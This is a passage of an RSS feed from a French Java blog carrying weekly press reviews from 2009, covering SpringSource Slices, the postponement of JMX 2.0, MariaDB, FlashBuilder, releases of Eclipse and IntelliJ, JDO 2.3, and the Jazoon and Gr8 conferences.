href="http://www.springsource.org/dmserver" title="dm Server 20" >dm Server 2.0</a> et permettant le développement d&#8217;applications Web modulaires. Cette modularité est bien sûr offerte par OSGi, ce qui lui en apporte les caractéristiques particulières : gestion de dépendance versionnées et chargement et arrêt des modules à chaud.</p><p>Concrètement une application utilisant Slices offrira un module Web <em>host</em> et un ensemble de modules fils appelés <em>slices</em>. Chaque module apporte du code applicatif et un ensemble de ressources Web (CSS, JavaScript, JSP, images). Le framework offre alors une couche d&#8217;abstraction aux <em>slices</em> leur permettant de posséder leur propre session et <em>servlet mappings</em>. Il offre également l&#8217;infrastructure nécessaire pour rendre les ressources du module <em>host</em> visibles par tous les autres et pour permettre aux modules de se détecter les uns les autres et ainsi d&#8217;opérer des altérations visuelles et comportementales en conséquence.</p><p>Dans son état actuel, Slices n&#8217;offre qu&#8217;une infrastructure de base, la version finale devrait apporter en supplément :</p><ul><li>Un framework de composition d&#8217;UI. On imagine que celui-ci apportera des tags permettant l&#8217;affichage conditionnel en fonction de la présence ou non de certains modules. Cette fonctionnalité est actuellement gérée manuellement par des EL dans l&#8217;application d&#8217;exemple</li><li>Le support des <em>servlet filters</em></li><li>Une intégration à <a
href="http://tiles.apache.org/" title="Tiles 2" >Tiles 2</a></li><li>L&#8217;intégration à <a
href="http://www.springsource.com/products/sts" title="SpringSource Tool Suite" >SpringSource Tool Suite</a></li></ul><p>Slices apportera donc de nouvelles possibilités en apportant la modularité jusqu&#8217;à la couche Web. Ainsi, parallèlement à son offre tc Server, résolument orienté vers le marché actuel, SpringSource continue d&#8217;innover en apportant des fonctionnalités supplémentaires à son offre modulaire centrée autour de dm Server.</p><h4><a
name="QuedevientJMX"></a>Que devient JMX 2 ?</h4><p>JMX est une API standard Java permettant le <em>monitoring</em> et le <em>management</em> d&#8217;applications, elle est définie par la <a
href="http://www.jcp.org/en/jsr/detail?id=003" title="JSR-3" >JSR-3</a> et étendue par la <a
href="http://www.jcp.org/en/jsr/detail?id=160" title="JSR-160 (Remote JMX)" >JSR-160 (Remote JMX)</a>. Depuis sa création en 1998, l&#8217;API a évoluée au fil des <em>maintenance releases</em> de sa JSR, incrémentant au passage sa version depuis 1.0 jusqu&#8217;à 1.4. Au départ disponible sous forme de librairie externe, JMX a finalement été intégré au JDK 5.0 <a
href="http://marxsoftware.blogspot.com/2008/01/java-se-6-and-jmx.html" title="puis mis  jour dans le JDK 60" >puis mis à jour dans le JDK 6.0</a>, fin 2006, pour s&#8217;aligner avec sa dernière version.</p><p>La prochaine évolution majeure de JMX est la version 2.0, cette fois-ci définie dans une nouvelle JSR, la <a
href="http://www.jcp.org/en/jsr/detail?id=255" title="JSR-255 (JMX 2.0)" >JSR-255 (JMX 2.0)</a>. Actuellement en statut <em>early draft review</em>, il est dors et déjà possible de se rendre compte des chantiers prévus :</p><ul><li>Des <em>namespaces</em> permettant de préfixer les noms des MBeans afin d&#8217;offrir une meilleure scalabilité lors que de très nombreux MBeans sont manipulés.</li><li>Le <em>cascading</em> permettant de fédérer un ensemble de MBeans situés sur des serveurs différents.</li><li>Définition de MBeans standards par annotations (<code>@MBean</code>, <code>@ManagedAttribute</code> et <code>@ManagedOperation</code>) et de leur injecter des ressources telles qu&#8217;un <code>MBeanServer</code> ou un <code>ObjectName</code>. Ce principe de définition de MBeans par annotations est calqué sur ce que <a
href="http://static.springframework.org/spring/docs/2.5.x/reference/jmx.html" title="Spring permet actuellement" >Spring permet actuellement</a>.</li><li>Un nouveau langage de requête permettant d&#8217;accéder facilement à tous les MBeans dont les propriétés se conforment à certains prédicats.</li></ul><p>JMX 2.0 était initialement prévue pour être intégrée au prochain JDK, l&#8217;API avait fait son apparition au sein de la <a
href="http://download.java.net/jdk7/docs/api/javax/management/package-summary.html" title="Javadoc des previews du JDK 7" >Javadoc des previews du JDK 7</a> mais restait absent de <a
href="http://openjdk.java.net/projects/jdk7/features/" title="sa liste de features" >sa liste de features</a>. Eamonn McManus a clarifié cette situation <a
href="http://weblogs.java.net/blog/emcmanus/archive/2009/06/jsr_255_jmx_api.html" title="en annonant sur son blog" >en annonçant sur son blog</a> que JMX 2.0 ne serait pas intégré au JDK 7 tel qu&#8217;initialement prévu, qu&#8217;il n&#8217;était pas pour autant annulé mais reporté &#8230; au JDK 8. L&#8217;officialisation de ce report est une mauvaise nouvelle, car cette nouvelle mouture de JMX serait arrivée à temps pour apporter un renouveau à cette API, qui bien que très puissante, souffre parfois de lourdeurs à l&#8217;usage.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="RetoursurlaconfrenceJazoon"></a>Retour sur la conférence Jazoon</h4><p>La semaine dernière se tenait à Zürich la conférence <em>où les Javaistes se rencontrent</em>. Xebia était présent à cette conférence et en a publié des résumés quotidiens :</p><ul><li>Jour 1 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-1-jee6-et-glassfish-v3/" title="JEE6 et Glassfish v3" >JEE6 et Glassfish v3</a></li><li>Jour 1 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-1-groovy/" title="Groovy" >Groovy</a></li><li>Jour 1 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-1-developpement-mobile/" title="Dveloppement mobile" >Développement mobile</a></li><li>Jour 1 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-1-prospective/" title="Prospective" >Prospective</a></li><li>Jour 2 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-2-jdk-7/" title="JDK 7" >JDK 7</a></li><li>Jour 2 : <a
href="http://blog.xebia.fr/2009/06/24/jazoon-jour-2-ddd-et-value-objects/" title="DDD et Value Objects" >DDD et Value Objects</a></li><li>Jour 2 : <a
href="http://blog.xebia.fr/2009/06/25/jazoon-jour-2-javafx/" title="Java FX" >Java FX</a></li><li>Jour 3 : <a
href="http://blog.xebia.fr/2009/06/26/jazoon-jour-3-un-arbre-est-tombe/" title="Un arbre est tomb" >Un arbre est tombé</a></li><li>Jour 3 : <a
href="http://blog.xebia.fr/2009/06/26/jazoon-jour-3-les-secrets-des-programmeurs-rockstars/" title="Les secrets des programmeurs Rockstars" >Les secrets des programmeurs Rockstars</a></li><li>Jour 3 : <a
href="http://blog.xebia.fr/2009/06/28/jazoon-jour-3-hibernate-search/" title="Hibernate Search" >Hibernate Search</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/</link> <comments>http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#comments</comments> <pubDate>Mon, 25 May 2009 16:50:06 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Flash]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[Groovy]]></category> <category><![CDATA[IntelliJ IDEA]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JDO]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Sun]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2041</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Sun veut créer un Java App Store MySQL forké par son fondateur RIA FlexBuilder devient FlashBuilder Le coin de la technique Nos IDEs se corrigent Les nouveautés de JDO 2.3 Evènements de notre communauté en France et à l&#8217;étranger Retour [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#SunveutcrerunJavaAppStore">Sun veut créer un Java App Store</a></li><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#MySQLforkparsonfondateur">MySQL forké par son fondateur</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#FlexBuilderdevientFlashBuilder">FlexBuilder devient FlashBuilder</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#NosIDEssecorrigent">Nos IDEs se corrigent</a></li><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#LesnouveautsdeJDO">Les nouveautés de JDO 2.3</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/#RetoursurlaGrlaConfrenceGroovy">Retour sur la Gr8, la Conférence Groovy</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="SunveutcrerunJavaAppStore"></a>Sun veut créer un Java App Store</h4><p>Jonathan Schwartz, CEO de Sun Microsystems, <a
href="http://blogs.sun.com/jonathan/entry/will_java_be_the_world" title="vient dannoncer sur son blog" >vient d&#8217;annoncer sur son blog</a> son intention de créer un Java App Store sur le même modèle que l&#8217;iPhone App Store. Aucun détail précis n&#8217;est fourni au-delà de l&#8217;annonce.</p><p><a
href="http://arstechnica.com/open-source/news/2009/05/sun-hopes-to-cash-in-on-java-install-base-with-new-app-store.ars" title="Ryan Paul fait une analyse raliste" >Ryan Paul fait une analyse réaliste</a> de ce projet en rappelant qu&#8217;il n&#8217;existe pas, selon lui, en dehors d&#8217;Azureus et Eclipse, d&#8217;applications Java pour PC très populaires et doute, par conséquent, du marché qui s&#8217;ouvrirait à cet App Store.</p><p>Reste qu&#8217;il s&#8217;agirait là d&#8217;un modèle de distribution d&#8217;application inédit sur PC qui pourrait séduire certains utilisateurs souhaitant obtenir facilement et rapidement des applications dont le niveau de qualité serait garanti par Sun, alors qu&#8217;actuellement les filières Open Source restent le principal vecteur de diffusion d&#8217;applications Java.</p><h4><a
name="MySQLforkparsonfondateur"></a>MySQL forké par son fondateur</h4><p><a
href="http://askmonty.org/wiki/index.php/Main_Page" title="Monty Program Ab" >Monty Program Ab</a> est une société créé par Michael Widenius, le fondateur de MySQL. Son but est de maintenir le projet <a
href="http://askmonty.org/wiki/index.php/MariaDB" title="MariaDB" >MariaDB</a>, un fork de MySQL estampillé &#8216;Open&#8217; et &#8216;Libre&#8217;, et d&#8217;offrir des services autour de ce projet. En collaboration avec Percona, une autre entreprise offrant de l&#8217;expertise MySQL, ils viennent de créer l&#8217;<a
href="http://opendatabasealliance.com/" title="Open Database Alliance" >Open Database Alliance</a> afin de former une entité unique derrière l&#8217;ensemble des développements MySQL libres.</p><p>Plusieurs réactions et analyses ont suivi l&#8217;annonce :</p><ul><li><a
href="http://it.toolbox.com/blogs/database-soup/monty-declares-open-database-alliance-31633" title="Josh Berkus met lhypothse" >Josh Berkus émet l&#8217;hypothèse</a> que l&#8217;équipe MySQL actuellement chez Sun soit embauchée par Monty Program Ab.</li><li><a
href="http://blogs.the451group.com/opensource/2009/05/21/are-closed-source-mysql-storage-engines-compatible-with-mariadb/" title="Matthew Aslett sinquite" >Matthew Aslett s&#8217;inquiète</a> des limitations qu&#8217;imposeront la licence GPL de MariaDB quant à l&#8217;inclusion d&#8217;un éventuel <em>storage engine</em> qui ne suivrait pas cette licence.</li><li><a
href="http://arstechnica.com/open-source/news/2009/05/open-database-alliance-hedges-against-oracle-plans-for-mysql.ars" title="Ryan Paul met en avant" >Ryan Paul met en avant</a> l&#8217;ambiguïté de cette annonce en raison de l&#8217;absence de définition du type de relation entre l&#8217;Alliance et Sun / Oracle.</li></ul><p>Dès lors, comme sur de nombreux autres sujets, il sera nécessaire d&#8217;attendre de connaître le positionnement d&#8217;Oracle sur la question MySQL pour pouvoir établir des certitudes quant à l&#8217;avenir de ce SGBDR.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="FlexBuilderdevientFlashBuilder"></a>FlexBuilder devient FlashBuilder</h4><p>Une nouvelle qui fait réagir la communauté <em>Flex</em> depuis plus d&#8217;une semaine est l&#8217;annonce du nouveau nom de l&#8217;IDE <em>FlexBuilder</em> qui, dans sa version 4, se nommera désormais <em>FlashBuilder</em>.</p><p>Les <em>flasheurs / flexeurs</em>, que l&#8217;on pourra lire sur <a
href="http://theflashblog.com/?p=993" title="The Flash Blog" >The Flash Blog</a>, <a
href="http://www.flex-tutorial.fr/2009/05/18/flash-builder-4-sera-le-nom-du-prochain-flex-builder/" title="Adobe Flex Tutorial" >Adobe Flex Tutorial</a> ou bien <a
href="http://codemoiunmouton.wordpress.com/2009/05/16/flex-builder-devient-flash-builder/" title="Code moi un mouton" >Code moi un mouton</a>, se réjouissent de la standardisation du terme Flash (il faut rappeler qu&#8217;au final, une application <em>Flex</em> est compilé en <em>SWF</em> donc du <em>Flash</em> lisible par <em>Flash Player</em>). Toutefois, quelques craintes subsistent chez certains concernant ce nouveau terme <em>Flash</em>, qui selon eux ferrait moins <em>professionnel / entreprise</em>. Au moins, maintenant tout est clair : avec <em>FlashBuilder</em>, vous allez créer des applications <em>Flash</em> pour <em>Flash Player</em> !</p><p>Pour le reste, rien ne change. <em>Flex</em>, c&#8217;est un framework <em>Actionscript</em> qui s&#8217;appuiera sur le <em>Flex SDK</em>. Le plugin sera toujours un plugin Eclipse. Et le développeur <em>Flex</em> restera un développeur <em>Flex</em> ! Et vous, que pensez-vous de ce changement de nom ?</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="NosIDEssecorrigent"></a>Nos IDEs se corrigent</h4><p>C&#8217;est le mot d&#8217;ordre actuel. Peu, voir pas de nouvelles fonctionnalités mais de nombreuses corrections de bugs pour <a
href="http://www.eclipse.org/downloads/" title="Eclipse IDE" >Eclipse IDE</a> et <a
href="http://www.jetbrains.com/idea/download/index.html" title="IntelliJ IDEA" >IntelliJ IDEA</a>.</p><p>Ainsi, Eclipse nous annonce fièrement la <a
href="https://bugs.eclipse.org/bugs/buglist.cgi?query_format=advanced&#038;short_desc_type=allwordssubstr&#038;short_desc=&#038;classification=Eclipse&#038;classification=RT&#038;product=Equinox&#038;product=JDT&#038;product=PDE&#038;product=Platform&#038;target_milestone=3.5+RC1&#038;long_desc_type=allwordssubstr&#038;long_desc=&#038;bug_file_loc_type=allwordssubstr&#038;bug_file_loc=&#038;status_whiteboard_type=allwordssubstr&#038;status_whiteboard=&#038;keywords_type=allwords&#038;keywords=&#038;bug_status=RESOLVED&#038;bug_status=VERIFIED&#038;bug_status=CLOSED&#038;resolution=FIXED&#038;emailtype1=substring&#038;email1=&#038;emailtype2=substring&#038;email2=&#038;bugidtype=include&#038;bug_id=&#038;votes=&#038;chfieldfrom=&#038;chfieldto=Now&#038;chfieldvalue=&#038;cmdtype=doit&#038;order=Reuse+same+sort+as+last+time&#038;field0-0-0=noop&#038;type0-0-0=noop&#038;value0-0-0=" title="correction de 341 bugs" >correction de 341 bugs</a> (rien que ça !) pour son IDE en version 3.5 RC1, mais pas de nouvelles fonctionnalités. Du côté de chez IntelliJ, c&#8217;est plus d&#8217;une cinquantaine de <a
href="http://www.jetbrains.com/idea/features/release_notes812.html" title="bugs et exceptions corrigés" >bugs et exceptions corrigés</a> pour la version IDEA 8.1.2, avec quelques optimisations de performance (<a
href="http://www.jetbrains.com/idea/features/release_notes812.html#Performance_Problem" title="éditeurs de fichiers Java et SQL" >éditeurs de fichiers Java et SQL</a>) et 2 nouvelles fonctionnalités (au niveau du <a
href="http://www.jetbrains.com/idea/features/release_notes812.html#New_Feature" title="debugger et des raccourcis" >debugger et des raccourcis</a>).</p><p>Le téléchargement d&#8217;Eclipse 3.5 RC1 se passe <a
href=" http://download.eclipse.org/eclipse/downloads/drops/S-3.5RC1-200905151143/index.php" title="par ici" >par ici</a> et pour IntelliJ IDEA 8.1.2 c&#8217;est par <a
href="http://www.jetbrains.com/idea/download/" title="l" >là</a>.</p><h4><a
name="LesnouveautsdeJDO"></a>Les nouveautés de JDO 2.3</h4><p><a
href="http://java.sun.com/jdo/index.jsp" title="JDO (Java Data Objects)" >JDO (Java Data Objects)</a>, longtemps délaissé au profit d&#8217;Hibernate, puis de JPA, a été récemment remis en avant par <a
href="http://blog.xebia.fr/2009/04/14/revue-de-presse-xebia-104/#GoogleAppEnginepourJavaetGroov" title="le support Java de Google App Engine" >le support Java de Google App Engine</a> qui préconise l&#8217;utilisation de cette API pour assurer la persistance des données dans les applications qu&#8217;il héberge.</p><p>Andy Jefferson, co-fondateur du projet <a
href="http://www.datanucleus.org/" title="DataNucleus" >DataNucleus</a>, vient de poster un <a
href="http://java.dzone.com/articles/whats-new-jdo-23" title="tour d'horizon des nouveautés de JDO 2.3" >tour d&#8217;horizon des nouveautés de JDO 2.3</a> dont l&#8217;API est actuellement disponible en <a
href="http://db.apache.org/jdo/releases/release-2.3-ea.cgi" title="early access" ><em>early access</em></a>. Ces nouveautés sont :</p><ul><li><strong>Metadata API</strong> : la définition des classes à persister pouvait jusqu&#8217;alors se faire par XML ou par annotations. Cette JDO 2.3 vient ajouter une troisième possibilité avec cette API permettant de définir dynamiquement des classes persistables.</li><li><strong>Enhancer API</strong> : cette API vient en complément de la précédente. En effet dans la mesure où les implémentations de JDO s&#8217;appuient sur du <em>bytecode enhancement</em> des classes persistables, il est nécessaire d&#8217;offrir aux développeurs un moyen d&#8217;invoquer <em>l&#8217;enhancer</em> après avoir déclaré dynamiquement une nouvelle classes via la Metadata API.</li><li><strong>Timeout et annulation de requêtes</strong> : dans le monde JPA, ces deux fonctionnalités ne sont pas supportées par la spécification mais seulement en tant qu&#8217;extensions propriétaires.</li><li><strong>Contrôle des verrous en lecture des objets</strong> : permet un contrôle fin des objets qui doivent être verrouillés automatiquement lors de la lecture, évitant ainsi d&#8217;opérer un verrouillage global.</li></ul><p>Répondant à des besoins modernes, ces changements devraient être appréciés par les développeurs. Reste que l&#8217;avenir de JDO est flou : ne pouvant rivaliser avec la popularité de JPA, JDO pourrait se maintenir dans des cas d&#8217;utilisation particuliers et ainsi perdurer dans les années à venir tout en restant marginal.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="RetoursurlaGrlaConfrenceGroovy"></a>Retour sur la Gr8, la Conférence Groovy</h4><p>La première édition de la <a
href="http://www.gr8conf.org/" title="Gr8 Conference" >Gr8 Conference</a> vient de se terminer. Il s&#8217;agit d&#8217;une conférence entièrement dédiée au langage <a
href="http://groovy.codehaus.org/" title="Groovy" >Groovy</a> et aux frameworks gravitant autour. On trouve de nombreux compte rendu sur Internet, <a
href="http://gettinggroovy.wordpress.com/" title="Peter Bell en signe le plus complet" >Peter Bell en signe le plus complet</a>. Parmi les points les plus intéressants on compte :</p><ul><li>Jim Shingler qui a présenté une introduction à Griffon, un framework Groovy visant à faciliter la production de clients lourds en Swing</li><li>Une session portant sur la création de plugins pour Grails</li><li>Graeme Rocher qui a fait une présentation au titre très explicite &#8216;Building a Twitter Clone in Grails&#8217;</li></ul><p>Par ailleurs les cas d&#8217;utilisation de Groovy ont été passés en revue par Dierk Konig :</p><ul><li>Utilisation en tant que glue et création d&#8217;infrastructure des applications</li><li>Ecriture des règles métiers complexes évoluant régulièrement</li><li>Utilisation pour les <em>hot fixes</em>, en s&#8217;appuyant sur le fait que Groovy peut être utilisé de manière interprété</li><li>Définition de fichiers de configuration basés sur la syntaxe Groovy</li><li>Utilisation de Groovy comme unique langage sur un projet de taille réduite ou moyenne</li><li>Utilisation de Groovy comme langage de script pour les tâches courantes (automatisation, installation, déploiement).</li></ul><p>Les organisateurs ont annoncé que l&#8217;ensemble des sessions de cette conférence seront disponibles sur <a
href="http://www.parleys.com" title="Parleys" >Parleys</a> dès que possible.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/05/25/revue-de-presse-xebia-110/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> </channel> </rss>
